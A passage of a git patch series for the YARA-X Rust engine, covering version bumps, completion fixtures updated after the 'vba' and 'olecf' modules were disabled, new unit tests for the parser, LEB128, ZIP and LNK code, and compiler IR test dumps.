path = "fmt", version = "1.18.0" } -yara-x-macros = { path = "macros", version = "1.18.0" } -yara-x-parser = { path = "parser", version = "1.18.0" } -yara-x-proto = { path = "proto", version = "1.18.0"} +yara-x = { path = "lib", version = "1.19.0" } +yara-x-fmt = { path = "fmt", version = "1.19.0" } +yara-x-macros = { path = "macros", version = "1.19.0" } +yara-x-parser = { path = "parser", version = "1.19.0" } +yara-x-proto = { path = "proto", version = "1.19.0"} zip = { version = "8.2.0", default-features = false } tinyzip = "0.4.0" simd-adler32 = "0.3.9" From dc48090f1f9655cc0c7945e1771d9743c76d4d62 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Wed, 24 Jun 2026 13:57:32 +0200 Subject: [PATCH 16/25] chore: fix test cases after disabling `vba` and `olecf` modules. --- .../tests/testdata/completion10.response.json | 10 ----- .../tests/testdata/completion11.response.json | 10 ----- .../tests/testdata/completion14.response.json | 38 ------------------- .../tests/testdata/completion15.response.json | 38 ------------------- .../tests/testdata/completion2.response.json | 38 ------------------- 5 files changed, 134 deletions(-) diff --git a/ls/src/tests/testdata/completion10.response.json b/ls/src/tests/testdata/completion10.response.json index d84e614b..b10a8786 100644 --- a/ls/src/tests/testdata/completion10.response.json +++ b/ls/src/tests/testdata/completion10.response.json @@ -49,11 +49,6 @@ "label": "math", "preselect": true }, - { - "kind": 9, - "label": "olecf", - "preselect": true - }, { "kind": 9, "label": "pe", @@ -79,11 +74,6 @@ "label": "time", "preselect": true }, - { - "kind": 9, - "label": "vba", - "preselect": true - }, { "kind": 9, "label": "vt", diff --git a/ls/src/tests/testdata/completion11.response.json b/ls/src/tests/testdata/completion11.response.json index d84e614b..b10a8786 100644 --- a/ls/src/tests/testdata/completion11.response.json +++ b/ls/src/tests/testdata/completion11.response.json @@ -49,11 +49,6 @@ "label": "math", "preselect": true }, - { - "kind": 9, - "label": "olecf", - "preselect": true - }, { "kind": 9, "label": "pe", @@ -79,11 +74,6 @@ "label": "time", "preselect": true }, - { - "kind": 9, - "label": "vba", - "preselect": true - }, { "kind": 9, "label": "vt", diff --git a/ls/src/tests/testdata/completion14.response.json b/ls/src/tests/testdata/completion14.response.json index 51808a2b..dc386473 100644 --- a/ls/src/tests/testdata/completion14.response.json +++ b/ls/src/tests/testdata/completion14.response.json @@ -296,25 +296,6 @@ "kind": 9, "label": "math" }, - { - "additionalTextEdits": [ - { - "newText": "import \"olecf\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "olecf" - }, { "kind": 9, "label": "pe" @@ -395,25 +376,6 @@ "kind": 9, "label": "time" }, - { - "additionalTextEdits": [ - { - "newText": "import \"vba\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "vba" - }, { "additionalTextEdits": [ { diff --git a/ls/src/tests/testdata/completion15.response.json b/ls/src/tests/testdata/completion15.response.json index cb071fc3..78664441 100644 --- a/ls/src/tests/testdata/completion15.response.json +++ b/ls/src/tests/testdata/completion15.response.json @@ -275,25 +275,6 @@ "kind": 9, "label": "math" }, - { - "additionalTextEdits": [ - { - "newText": "import \"olecf\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "olecf" - }, { "kind": 9, "label": "pe" @@ -374,25 +355,6 @@ "kind": 9, "label": "time" }, - { - "additionalTextEdits": [ - { - "newText": "import \"vba\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "vba" - }, { "additionalTextEdits": [ { diff --git a/ls/src/tests/testdata/completion2.response.json b/ls/src/tests/testdata/completion2.response.json index f035330d..4503a49c 100644 --- a/ls/src/tests/testdata/completion2.response.json +++ b/ls/src/tests/testdata/completion2.response.json @@ -282,25 +282,6 @@ "kind": 9, "label": "math" }, - { - "additionalTextEdits": [ - { - "newText": "import \"olecf\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "olecf" - }, { "additionalTextEdits": [ { @@ -396,25 +377,6 @@ "kind": 9, "label": "time" }, - { - "additionalTextEdits": [ - { - "newText": "import \"vba\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "vba" - }, { "additionalTextEdits": [ { From fe40349ea12c5ccb89aae9f304b979c4fb410f66 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Wed, 24 Jun 2026 14:07:09 +0200 Subject: [PATCH 17/25] tests: ignore disabled modules while running tests. --- lib/src/modules/tests.rs | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/lib/src/modules/tests.rs b/lib/src/modules/tests.rs index 87928180..7e62f7c2 100644 --- a/lib/src/modules/tests.rs +++ b/lib/src/modules/tests.rs @@ -138,6 +138,11 @@ fn test_modules() { .map(|s| s.as_os_str().to_str().unwrap()) .expect("can not extract module name from tests path"); + // Ignore the module of not among the registered modules. + if !module_names().any(|n| n == module_name) { + return; + } + // Construct a dummy YARA rule that only imports the module. let rule = format!( r#"import "{module_name}" rule test {{ condition: false }}"# From 39353362552cd91a11fd4f01f7a43a9cad9fc9cf Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Wed, 24 Jun 2026 17:08:29 +0200 Subject: [PATCH 18/25] tests: add multiple test cases for increasing code coverage. --- lib/src/modules/console.rs | 7 +++++++ lib/src/modules/lnk/parser.rs | 18 ++++++++++++++++++ lib/src/modules/utils/leb128.rs | 27 +++++++++++++++++++++++++++ lib/src/modules/utils/zip.rs | 21 +++++++++++++++++++++ 4 files changed, 73 insertions(+) diff --git a/lib/src/modules/console.rs b/lib/src/modules/console.rs index 5df1c2e8..7e07399d 100644 --- a/lib/src/modules/console.rs +++ b/lib/src/modules/console.rs @@ -213,6 +213,13 @@ mod tests { ] ); } + + #[test] + fn test_escape() { + assert_eq!(super::escape(b"hello"), "hello"); + assert_eq!(super::escape(b"hello\nworld"), "hello\\nworld"); + assert_eq!(super::escape(b"\xff\xfe"), "\\xff\\xfe"); + } } register_module!("console", Console, main); diff --git a/lib/src/modules/lnk/parser.rs b/lib/src/modules/lnk/parser.rs index 4fbeb03c..d468ff32 100644 --- a/lib/src/modules/lnk/parser.rs +++ b/lib/src/modules/lnk/parser.rs @@ -573,3 +573,21 @@ impl LnkParser { fn filetime_to_unix_timestamp(filetime: u64) -> Option { (filetime / 10000000).checked_sub(11644473600) } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_filetime_to_unix_timestamp() { + assert_eq!(filetime_to_unix_timestamp(0), None); + assert_eq!(filetime_to_unix_timestamp(116444736000000000), Some(0)); + assert_eq!(filetime_to_unix_timestamp(116444736000000000 + 10000000), Some(1)); + } + + #[test] + fn test_lnk_parser_invalid() { + let mut parser = LnkParser::new(); + assert!(parser.parse(b"too short").is_err()); + } +} diff --git a/lib/src/modules/utils/leb128.rs b/lib/src/modules/utils/leb128.rs index 868e39bf..013aa521 100644 --- a/lib/src/modules/utils/leb128.rs +++ b/lib/src/modules/utils/leb128.rs @@ -76,3 +76,30 @@ pub fn sleb128(input: &[u8]) -> IResult<&[u8], i64> { Ok((data, val)) } + +#[cfg(test)] +mod tests { + use super::*; + use nom::error::ErrorKind; + + #[test] + fn test_uleb128() { + assert_eq!(uleb128(&[0x00]), Ok((&[][..], 0))); + assert_eq!(uleb128(&[0x01]), Ok((&[][..], 1))); + assert_eq!(uleb128(&[0xe5, 0x8e, 0x26]), Ok((&[][..], 624485))); + assert_eq!(uleb128(&[0x80, 0x01, 0xff]), Ok((&[0xff][..], 128))); + let overflow = [0x80; 11]; + assert!(matches!(uleb128(&overflow), Err(nom::Err::Error(e)) if e.code == ErrorKind::TooLarge)); + } + + #[test] + fn test_sleb128() { + assert_eq!(sleb128(&[0x00]), Ok((&[][..], 0))); + assert_eq!(sleb128(&[0x01]), Ok((&[][..], 1))); + assert_eq!(sleb128(&[0x7f]), Ok((&[][..], -1))); + assert_eq!(sleb128(&[0x80, 0x7f]), Ok((&[][..], -128))); + assert_eq!(sleb128(&[0x9b, 0xf1, 0x59]), Ok((&[][..], -624485))); + let overflow = [0x80; 11]; + assert!(matches!(sleb128(&overflow), Err(nom::Err::Error(e)) if e.code == ErrorKind::TooLarge)); + } +} diff --git a/lib/src/modules/utils/zip.rs b/lib/src/modules/utils/zip.rs index b7e428e2..58dad244 100644 --- a/lib/src/modules/utils/zip.rs +++ b/lib/src/modules/utils/zip.rs @@ -111,3 +111,24 @@ impl<'a> From<&CachedZip<'a>> for Zip { zip } } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_zip_cache() { + assert!(matches!(ZipCache::new(b"invalid zip data"), ZipCache::NotZip)); + + let eocd = [ + 0x50, 0x4b, 0x05, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + ]; + if let ZipCache::Cached(mut cached) = ZipCache::new(&eocd) { + assert!(cached.get_file_content("missing.txt").is_none()); + let zip_proto: Zip = (&cached).into(); + assert!(zip_proto.is_zip()); + assert_eq!(zip_proto.entries.len(), 0); + } + } +} From a3911cf867a790719fa6d05496b4ca55fa2ec8cc Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Wed, 24 Jun 2026 17:11:49 +0200 Subject: [PATCH 19/25] style: run `cargo fmt`. --- lib/src/modules/utils/leb128.rs | 8 ++++++-- lib/src/modules/utils/zip.rs | 5 ++++- 2 files changed, 10 insertions(+), 3 deletions(-) diff --git a/lib/src/modules/utils/leb128.rs b/lib/src/modules/utils/leb128.rs index 013aa521..287c8003 100644 --- a/lib/src/modules/utils/leb128.rs +++ b/lib/src/modules/utils/leb128.rs @@ -89,7 +89,9 @@ mod tests { assert_eq!(uleb128(&[0xe5, 0x8e, 0x26]), Ok((&[][..], 624485))); assert_eq!(uleb128(&[0x80, 0x01, 0xff]), Ok((&[0xff][..], 128))); let overflow = [0x80; 11]; - assert!(matches!(uleb128(&overflow), Err(nom::Err::Error(e)) if e.code == ErrorKind::TooLarge)); + assert!( + matches!(uleb128(&overflow), Err(nom::Err::Error(e)) if e.code == ErrorKind::TooLarge) + ); } #[test] @@ -100,6 +102,8 @@ mod tests { assert_eq!(sleb128(&[0x80, 0x7f]), Ok((&[][..], -128))); assert_eq!(sleb128(&[0x9b, 0xf1, 0x59]), Ok((&[][..], -624485))); let overflow = [0x80; 11]; - assert!(matches!(sleb128(&overflow), Err(nom::Err::Error(e)) if e.code == ErrorKind::TooLarge)); + assert!( + matches!(sleb128(&overflow), Err(nom::Err::Error(e)) if e.code == ErrorKind::TooLarge) + ); } } diff --git a/lib/src/modules/utils/zip.rs b/lib/src/modules/utils/zip.rs index 58dad244..ae4c7d8e 100644 --- a/lib/src/modules/utils/zip.rs +++ b/lib/src/modules/utils/zip.rs @@ -118,7 +118,10 @@ mod tests { #[test] fn test_zip_cache() { - assert!(matches!(ZipCache::new(b"invalid zip data"), ZipCache::NotZip)); + assert!(matches!( + ZipCache::new(b"invalid zip data"), + ZipCache::NotZip + )); let eocd = [ 0x50, 0x4b, 0x05, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, From 9338b869c157f376a8a47f297d2d07b5c0d4f39d Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Wed, 24 Jun 2026 17:29:05 +0200 Subject: [PATCH 20/25] tests: add more test cases for increasing parser coverage. --- parser/src/ast/tests.rs | 35 +++++++++++++++++++++++++++++++++++ parser/src/cst/tests.rs | 17 +++++++++++++++++ parser/src/tokenizer/tests.rs | 21 +++++++++++++++++++++ 3 files changed, 73 insertions(+) diff --git a/parser/src/ast/tests.rs b/parser/src/ast/tests.rs index 5408d2c7..cab53ed5 100644 --- a/parser/src/ast/tests.rs +++ b/parser/src/ast/tests.rs @@ -31,3 +31,38 @@ fn ast_from_cst() { } ); } + +#[test] +fn ast_dfs() { + use crate::ast::dfs::{DFSEvent, DFSIter}; + use crate::ast::*; + + let source = br#" + rule test { + strings: + $a = "foo" + condition: + $a and foo.bar[0].baz == 1 and not (-(-1) == 1) + } + "#; + let parser = Parser::new(source); + let cst = CST::try_from(parser).unwrap(); + let ast = AST::new(source, cst.iter()); + + let rule = match ast.items.first().unwrap() { + Item::Rule(rule) => rule, + _ => panic!(), + }; + + let mut iter = DFSIter::new(&rule.condition); + let mut enter_count = 0; + let mut leave_count = 0; + while let Some(event) = iter.next() { + match event { + DFSEvent::Enter(_) => enter_count += 1, + DFSEvent::Leave(_) => leave_count += 1, + } + } + assert!(enter_count > 0); + assert_eq!(enter_count, leave_count); +} diff --git a/parser/src/cst/tests.rs b/parser/src/cst/tests.rs index 034710df..aa1f337f 100644 --- a/parser/src/cst/tests.rs +++ b/parser/src/cst/tests.rs @@ -524,3 +524,20 @@ test { Some(Event::Token { kind: SyntaxKind::L_BRACE, span: Span(25..26) }) ); } + +#[test] +fn cst_recovery_and_error_merging() { + let stream = CSTStream::from(Parser::new(b"rule /* unclosed comment")); + let mut has_error = false; + for event in stream { + if matches!( + event, + Event::Begin { kind: SyntaxKind::ERROR, .. } + | Event::Token { kind: SyntaxKind::ERROR, .. } + | Event::End { kind: SyntaxKind::ERROR, .. } + ) { + has_error = true; + } + } + assert!(has_error); +} diff --git a/parser/src/tokenizer/tests.rs b/parser/src/tokenizer/tests.rs index 230ad5dd..72a097e6 100644 --- a/parser/src/tokenizer/tests.rs +++ b/parser/src/tokenizer/tests.rs @@ -399,3 +399,24 @@ fn errors() { assert_eq!(lexer.next_token(), Some(Token::WHITESPACE(Span(3..4)))); assert_eq!(lexer.next_token(), Some(Token::INVALID_UTF8(Span(4..5)))); } + +#[test] +fn span_and_malformed_hex() { + use rowan::TextRange; + use rowan::TextSize; + + let s = Span(10..25); + assert_eq!(format!("{s}"), "[10..25]"); + + let r = TextRange::new(TextSize::from(5), TextSize::from(15)); + let span_from_r: Span = r.into(); + assert_eq!(span_from_r, Span(5..15)); + + let mut lexer = super::Tokenizer::new(b"[10-"); + lexer.enter_hex_pattern_mode(); + assert_eq!(lexer.next_token(), Some(Token::L_BRACKET(Span(0..1)))); + lexer.enter_hex_jump_mode(); + assert_eq!(lexer.next_token(), Some(Token::INTEGER_LIT(Span(1..3)))); + assert_eq!(lexer.next_token(), Some(Token::HYPHEN(Span(3..4)))); + assert_eq!(lexer.next_token(), None); +} From 6374b65d76f106f15b15ef942d7f885c60379f95 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Wed, 24 Jun 2026 17:32:42 +0200 Subject: [PATCH 21/25] style: fix clippy warning. --- parser/src/ast/tests.rs | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/parser/src/ast/tests.rs b/parser/src/ast/tests.rs index cab53ed5..9b198134 100644 --- a/parser/src/ast/tests.rs +++ b/parser/src/ast/tests.rs @@ -54,15 +54,17 @@ fn ast_dfs() { _ => panic!(), }; - let mut iter = DFSIter::new(&rule.condition); + let iter = DFSIter::new(&rule.condition); let mut enter_count = 0; let mut leave_count = 0; - while let Some(event) = iter.next() { + + for event in iter { match event { DFSEvent::Enter(_) => enter_count += 1, DFSEvent::Leave(_) => leave_count += 1, } } + assert!(enter_count > 0); assert_eq!(enter_count, leave_count); } From 795588e0a3c00534cf3b7199824d15784d6bb417 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Wed, 24 Jun 2026 18:15:14 +0200 Subject: [PATCH 22/25] tests: increase coverage for parser and hoisting logic. --- lib/src/compiler/ir/tests/testdata/14.cse.ir | 628 +++++++++++++++++ .../compiler/ir/tests/testdata/14.hoisting.ir | 642 ++++++++++++++++++ lib/src/compiler/ir/tests/testdata/14.in | 142 ++++ lib/src/compiler/ir/tests/testdata/14.ir | 628 +++++++++++++++++ parser/src/ast/tests.rs | 38 +- test.yar | 33 + 6 files changed, 2110 insertions(+), 1 deletion(-) create mode 100644 lib/src/compiler/ir/tests/testdata/14.cse.ir create mode 100644 lib/src/compiler/ir/tests/testdata/14.hoisting.ir create mode 100644 lib/src/compiler/ir/tests/testdata/14.in create mode 100644 lib/src/compiler/ir/tests/testdata/14.ir create mode 100644 test.yar diff --git a/lib/src/compiler/ir/tests/testdata/14.cse.ir b/lib/src/compiler/ir/tests/testdata/14.cse.ir new file mode 100644 index 00000000..bfde2198 --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/14.cse.ir @@ -0,0 +1,628 @@ +RULE test_hoisting_nested + 20: FOR_IN -- hash: 0x72bf379da36225e5 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(1) + 1: CONST integer(5) + 19: FOR_IN -- hash: 0xdaad33cf0baf0a64 + n: Var { frame_id: 2, ty: integer, index: 7 } + i: Var { frame_id: 2, ty: integer, index: 8 } + max_count: Var { frame_id: 2, ty: integer, index: 9 } + count: Var { frame_id: 2, ty: integer, index: 10 } + item: Var { frame_id: 2, ty: unknown, index: 11 } + 2: CONST integer(1) + 3: CONST integer(5) + 18: FOR_IN -- hash: 0x497c3d59939269bb + n: Var { frame_id: 3, ty: integer, index: 14 } + i: Var { frame_id: 3, ty: integer, index: 15 } + max_count: Var { frame_id: 3, ty: integer, index: 16 } + count: Var { frame_id: 3, ty: integer, index: 17 } + item: Var { frame_id: 3, ty: unknown, index: 18 } + 4: CONST integer(1) + 5: CONST integer(5) + 17: OR -- hash: 0x12919697ba229f76 + 10: GT -- hash: 0xc0fd295a9fa39fa9 + 8: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 6: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 7: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 9: CONST integer(0) + 13: EQ -- hash: 0xca7652cced0142e6 + 11: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 12: CONST integer(3) + 16: EQ -- hash: 0xdf5816c82bc02f3 + 14: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } + 15: CONST integer(4) + +RULE test_hoisting_with + 13: WITH -- hash: 0x862ac2b588220f59 + 0: CONST integer(10) + 12: FOR_IN -- hash: 0xfb8fa06e0ec768d9 + n: Var { frame_id: 2, ty: integer, index: 1 } + i: Var { frame_id: 2, ty: integer, index: 2 } + max_count: Var { frame_id: 2, ty: integer, index: 3 } + count: Var { frame_id: 2, ty: integer, index: 4 } + item: Var { frame_id: 2, ty: unknown, index: 5 } + 1: CONST integer(1) + 2: CONST integer(5) + 11: AND -- hash: 0xf3506d7cd428c254 + 7: EQ -- hash: 0x8d45f5fbc7dba69a + 5: CONST integer(11) + 6: CONST integer(11) + 10: GT -- hash: 0x7fb3c7b6e648fdb1 + 8: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 6 }, type_value: integer(unknown) } + 9: CONST integer(0) + +RULE test_hoisting_field_access + 19: FOR_IN -- hash: 0x9f80cf2da772b9f9 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(0) + 3: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 1: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 2: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 18: AND -- hash: 0x4044f60b2b21d46 + 12: EQ -- hash: 0xd80bb6889bf5d23f + 10: FIELD_ACCESS -- hash: 0xf6f8e9b23f513dd1 + 8: LOOKUP -- hash: 0x7e699c8d78b13901 + 6: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 4: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 5: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } + 7: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 9: SYMBOL Field { index: 0, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 11: CONST string(".text") + 17: GT -- hash: 0xc0fd295a9fa39fa9 + 15: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 13: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 14: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 16: CONST integer(0) + +RULE test_hoisting_limit + 532: FOR_IN -- hash: 0x9955d895482ac2dd + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(1) + 1: CONST integer(5) + 531: FOR_IN -- hash: 0x39d3fce9735f69cd + n: Var { frame_id: 2, ty: integer, index: 7 } + i: Var { frame_id: 2, ty: integer, index: 8 } + max_count: Var { frame_id: 2, ty: integer, index: 9 } + count: Var { frame_id: 2, ty: integer, index: 10 } + item: Var { frame_id: 2, ty: unknown, index: 11 } + 2: CONST integer(1) + 3: CONST integer(5) + 530: AND -- hash: 0xa6c67725bbf1ce09 + 8: EQ -- hash: 0x8fb6fe40bf072288 + 6: ADD -- hash: 0xe38fe90ae410b35a + 4: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 5: CONST integer(0) + 7: CONST integer(10) + 13: EQ -- hash: 0x7be2178493efe6e0 + 11: ADD -- hash: 0x8c4973b1fbd58946 + 9: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 10: CONST integer(1) + 12: CONST integer(10) + 18: EQ -- hash: 0x680d30c864d8ab38 + 16: ADD -- hash: 0x3502fe590f9a5f32 + 14: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 15: CONST integer(2) + 17: CONST integer(10) + 23: EQ -- hash: 0x54384a0c39c16f90 + 21: ADD -- hash: 0xddbc8900235f351d + 19: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 20: CONST integer(3) + 22: CONST integer(10) + 28: EQ -- hash: 0x406363500eaa33e8 + 26: ADD -- hash: 0x867613a737240b09 + 24: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 25: CONST integer(4) + 27: CONST integer(10) + 33: EQ -- hash: 0x2c8e7c93e392f840 + 31: ADD -- hash: 0x2f2f9e4e4ae8e0f5 + 29: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 30: CONST integer(5) + 32: CONST integer(10) + 38: EQ -- hash: 0x18b995d7b47bbc98 + 36: ADD -- hash: 0xd7e928f55eadb6e0 + 34: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 35: CONST integer(6) + 37: CONST integer(10) + 43: EQ -- hash: 0x4e4af1b896480f0 + 41: ADD -- hash: 0x80a2b39c72728ccc + 39: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 40: CONST integer(7) + 42: CONST integer(10) + 48: EQ -- hash: 0xf10fc85f5e4d4547 + 46: ADD -- hash: 0x295c3e43863762b8 + 44: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 45: CONST integer(8) + 47: CONST integer(10) + 53: EQ -- hash: 0xdd3ae1a33336099f + 51: ADD -- hash: 0xd215c8ea99fc38a3 + 49: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 50: CONST integer(9) + 52: CONST integer(10) + 58: EQ -- hash: 0xc965fae7041ecdf7 + 56: ADD -- hash: 0x7acf5391adc10e8f + 54: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 55: CONST integer(10) + 57: CONST integer(10) + 63: EQ -- hash: 0xb591142ad907924f + 61: ADD -- hash: 0x2388de38c185e47b + 59: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 60: CONST integer(11) + 62: CONST integer(10) + 68: EQ -- hash: 0xa1bc2d6eadf056a7 + 66: ADD -- hash: 0xcc4268dfd54aba66 + 64: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 65: CONST integer(12) + 67: CONST integer(10) + 73: EQ -- hash: 0x8de746b282d91aff + 71: ADD -- hash: 0x74fbf386e90f9052 + 69: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 70: CONST integer(13) + 72: CONST integer(10) + 78: EQ -- hash: 0x7a125ff657c1df57 + 76: ADD -- hash: 0x1db57e2dfcd4663e + 74: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 75: CONST integer(14) + 77: CONST integer(10) + 83: EQ -- hash: 0x663d793a28aaa3af + 81: ADD -- hash: 0xc66f08d510993c29 + 79: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 80: CONST integer(15) + 82: CONST integer(10) + 88: EQ -- hash: 0x5268927dfd936807 + 86: ADD -- hash: 0x6f28937c245e1215 + 84: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 85: CONST integer(16) + 87: CONST integer(10) + 93: EQ -- hash: 0x3e93abc1d27c2c5f + 91: ADD -- hash: 0x17e21e233822e801 + 89: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 90: CONST integer(17) + 92: CONST integer(10) + 98: EQ -- hash: 0x2abec505a764f0b7 + 96: ADD -- hash: 0xc09ba8ca4fe7bdec + 94: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 95: CONST integer(18) + 97: CONST integer(10) + 103: EQ -- hash: 0x16e9de49784db50f + 101: ADD -- hash: 0x6955337163ac93d8 + 99: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 100: CONST integer(19) + 102: CONST integer(10) + 108: EQ -- hash: 0x314f78d4d367967 + 106: ADD -- hash: 0x120ebe18777169c4 + 104: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 105: CONST integer(20) + 107: CONST integer(10) + 113: EQ -- hash: 0xef4010d1221f3dbe + 111: ADD -- hash: 0xbac848bf8b363faf + 109: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 110: CONST integer(21) + 112: CONST integer(10) + 118: EQ -- hash: 0xdb6b2a14f7080216 + 116: ADD -- hash: 0x6381d3669efb159b + 114: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 115: CONST integer(22) + 117: CONST integer(10) + 123: EQ -- hash: 0xc7964358cbf0c66e + 121: ADD -- hash: 0xc3b5e0db2bfeb87 + 119: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 120: CONST integer(23) + 122: CONST integer(10) + 128: EQ -- hash: 0xb3c15c9c9cd98ac6 + 126: ADD -- hash: 0xb4f4e8b4c684c172 + 124: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 125: CONST integer(24) + 127: CONST integer(10) + 133: EQ -- hash: 0x9fec75e071c24f1e + 131: ADD -- hash: 0x5dae735bda49975e + 129: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 130: CONST integer(25) + 132: CONST integer(10) + 138: EQ -- hash: 0x8c178f2446ab1376 + 136: ADD -- hash: 0x667fe02ee0e6d4a + 134: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 135: CONST integer(26) + 137: CONST integer(10) + 143: EQ -- hash: 0x7842a8681b93d7ce + 141: ADD -- hash: 0xaf2188aa01d34335 + 139: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 140: CONST integer(27) + 142: CONST integer(10) + 148: EQ -- hash: 0x646dc1abec7c9c26 + 146: ADD -- hash: 0x57db135115981921 + 144: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 145: CONST integer(28) + 147: CONST integer(10) + 153: EQ -- hash: 0x5098daefc165607e + 151: ADD -- hash: 0x949df8295cef0d + 149: SYMBOL Var { var: Var { frame_id: 1, ty: integer, 